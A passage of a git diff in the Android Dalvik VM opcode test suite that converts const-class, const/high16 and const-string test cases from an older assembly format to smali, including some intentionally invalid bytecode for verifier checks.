+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_4.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/4 v1, 2
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.smali
new file mode 100644
index 0000000..78561e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_1;
+.super Ljava/lang/Object;
+.source "T_const_class_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Class;
+    .registers 255
+
+    const-class p0, Ljava/lang/String;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.d
deleted file mode 100644
index 39bb30e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_class_2.java
-.class public dot.junit.opcodes.const_class.d.T_const_class_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Class;
-.limit regs 255
-
-       const-class v254, I
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali
new file mode 100644
index 0000000..bea9b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_class_2.java"
+.class  public Ldot/junit/opcodes/const_class/d/T_const_class_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Class;
+.registers 255
+
+       const-class v254, I
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.smali
new file mode 100644
index 0000000..00ee94b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_3;
+.super Ljava/lang/Object;
+.source "T_const_class_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-class p1, Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.smali
new file mode 100644
index 0000000..95ef518
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_4;
+.super Ljava/lang/Object;
+.source "T_const_class_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    const-class v1, Ljava/lang/Object;
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.smali
new file mode 100644
index 0000000..9058f3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_5.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_5;
+.super Ljava/lang/Object;
+.source "T_const_class_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/String;
+    .registers 255
+
+    const-class p0, Ljava/lang/Object;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.smali
new file mode 100644
index 0000000..391de7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_6;
+.super Ljava/lang/Object;
+.source "T_const_class_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Class;
+    .registers 255
+
+    const-class p0, Ljava/lang/StringNNNNN;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.smali
new file mode 100644
index 0000000..07a51e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_class/d/T_const_class_7;
+.super Ljava/lang/Object;
+.source "T_const_class_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Class;
+    .registers 255
+
+    const-class p0, Ldot/junit/opcodes/const_class/TestStubs;
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.d
deleted file mode 100644
index fcc1c2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_high16_1.java
-.class public dot.junit.opcodes.const_high16.d.T_const_high16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 255
-
-       const/high16 v254, 0x12340000
-       return v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali
new file mode 100644
index 0000000..98c2aa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_1.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const/high16 v254, 0x12340000
+       return v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.d
deleted file mode 100644
index e207c68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_high16_3.java
-.class public dot.junit.opcodes.const_high16.d.T_const_high16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/high16 v3, 0x12340000
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali
new file mode 100644
index 0000000..a6398b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_3.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/high16 v3, 0x12340000
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.d
deleted file mode 100644
index f8caefa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_high16_4.java
-.class public dot.junit.opcodes.const_high16.d.T_const_high16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const/high16 v1, 0x12340000
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali
new file mode 100644
index 0000000..5c87013
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_4.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/high16 v1, 0x12340000
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.d
deleted file mode 100644
index 11b3770..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_1.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string v254, "android"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali
new file mode 100644
index 0000000..de6cd62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_1.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android"
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.d
deleted file mode 100644
index 773bd80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_3.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-string v3, "abc"
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali
new file mode 100644
index 0000000..674b9cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_3.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-string v3, "abc"
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.d
deleted file mode 100644
index d8b8519..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_4.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-string v1, "abc"
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali
new file mode 100644
index 0000000..97eb08e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_4.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-string v1, "abc"
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.d
deleted file mode 100644
index 1ece763..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_5.java
-.class public dot.junit.opcodes.const_string.d.T_const_string_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string v254, "android"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali
new file mode 100644
index 0000000..7d5989c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_5.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android"
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.d
deleted file mode 100644
index 893baf2..0000000
